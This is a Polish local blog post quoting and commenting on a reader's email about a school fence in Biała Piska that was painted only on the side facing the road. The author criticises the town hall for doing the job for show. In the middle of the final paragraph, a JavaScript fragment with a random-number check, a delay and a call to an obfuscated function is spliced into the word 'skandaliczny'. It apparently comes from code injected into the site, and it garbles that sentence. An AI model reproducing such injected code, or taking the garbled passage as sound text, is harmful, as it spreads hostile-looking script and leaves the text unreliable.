Optymiści mówią że do połowy zrobione, pesymiści, że żenada.

Dzisiaj postanowiłem upublicznić i trochę skomentować dwa e-maile, które otrzymałem od Czytelniczek. Rano pisałem o pojemniku na znicze, gdzie nie cytowałem całego maila tylko jego fragmenty. Teraz postanowiłem zacytować całego. „Szanowny Panie Marku. Od kilku lat spaceruję z moim czworonogiem wokół budynku dawnego Gimnazjum. Od kilku miesięcy nurtuje mnie jedna rzecz, która uwieczniłam na fotografiach, które Panu przesyłam. Otóż zastanawia mnie fakt, kto kilka miesięcy temu malował ogrodzenie wokół gimnazjum, że jest ono pomalowane tylko do połowy? Cała reszta ogrodzenia wygląda bardzo brzydko poprzerastana rdzą i w wielu miejscach odrapana. Farby i chęci starczyło tylko na malowanie od czoła (czytaj od drogi). Trochę mi to przypomina mieszkanie kawalera, gdzie jak się wchodzi to mieszkanie sprawia wrażenie czystego, a wystarczy otworzyć szafę i wszystko się z niej wysypuje. Taka była pompa w Internecie z okazji tego malowania, jakby co najmniej wielka osobistość miała do naszego miasta przyjechać. Informacje, zdjęcia, podziękowania. Prawie jak na otwarciu wielkiej inwestycji. Szkoda tylko, że zabrakło takiej werwy, żeby dokończyć pracę. Pisze o tym, bo sama nie wiem czy się tu śmiać, czy płakać. Pozdrawiam.”

Szczerze mówiąc sam nie wiem co powiedzieć, bo też nie wiem czy śmiać się, czy płakać. Tak mi to trochę przypomina działanie na pokaz ze strony odpowiedzialnych z Urzędu, za to ogrodzenie. Zastanawiam się po co brać się za pracę, która ma nie być skończona. Chyba nikt mi nie powie, że budżet by się zawalił od zakupienia farby na resztę ogrodzenia. Zwłaszcza, że jak widać na zdjęciach wygląda ono nieciekawie. Cóż, chyba nawet nie bardzo jest co komentować. Jadąc główną drogą widać pomalowane, dalej wzrok włodarzy nie sięga. Najważniejsze, że pozory udało się stworzyć.

Poniżej link do artykułu, który zamieścił urząd na www.bialapiska.eu, żeby można było zobaczyć jak przedstawił problem malowania Urząd Miejski:

http://bialapiska.eu/aktualnosc-693-plot_nie_bedzie_juz_odstraszal.html?a5614f1ea0a985b18cc85da66e60564c#PAN_1

Autor tekstu na www.bialapiska.eu, pisze, że wygląd płotu przez wiele lat był komentowany, że jest skandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaliczny i od rdzy zrobił się aż miedziany. Tak było dopóty, dopóki firma budująca Gimnazjum nie skończyła procesować się z Gminą. Bo ogrodzenie było jednym z zaskarżonych elementów. Pani burmistrz rok temu zapewniała, że będzie informować o kwestii czy Gmina wygrała z Pribo czy nie. Nic nie mówi od roku, to trudno powiedzieć. Rozumiem, że tylko tyle tego płotu zasługiwało na naprawę? Reszta może być nadal miedziana od rdzy? Bo najważniejsze położyć makijaż. Twarz jakoś się sprzeda i przykryje resztę. Dobre myślenie.